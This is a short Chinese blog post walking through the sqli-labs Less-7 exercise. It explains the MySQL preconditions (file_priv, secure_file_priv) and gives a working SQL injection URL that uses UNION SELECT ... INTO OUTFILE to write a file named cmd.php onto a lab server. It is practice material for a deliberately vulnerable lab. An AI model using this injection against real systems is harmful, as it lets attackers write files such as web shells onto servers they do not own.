文件上传漏洞——sqli-labs第7关

2020-07-30 16:54:43 浏览数 (1)

条件:

1.已知对应站点的绝对路径 2.File_priv开关需要是打开状态

代码语言:javascript复制
select file_priv from mysql.user;

3.secure_file_priv 不为null

  • 设置为空,对所有路径均可进行导入导出。
  • 设置为一个目录名字,只允许在该路径下导入导出。
  • 设置为Null,禁止所有导入导出。

默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。

在末尾加上:secure_file_priv=

select @@global.secure_file_priv; 但是改完之后,显示的值还是null

后面就是文件上传了

SELECT “123” INTO OUTFILE “c:/123.txt";

要使用联合查询写文件,不能使用and或者or拼接写文件

代码语言:javascript复制
http://172.16.11.222/sqli-labs/Less-7/?id=-1')) union select 1,2,"hello,world" into outfile "C:/cmd.php" -- 

上传成功

0 人点赞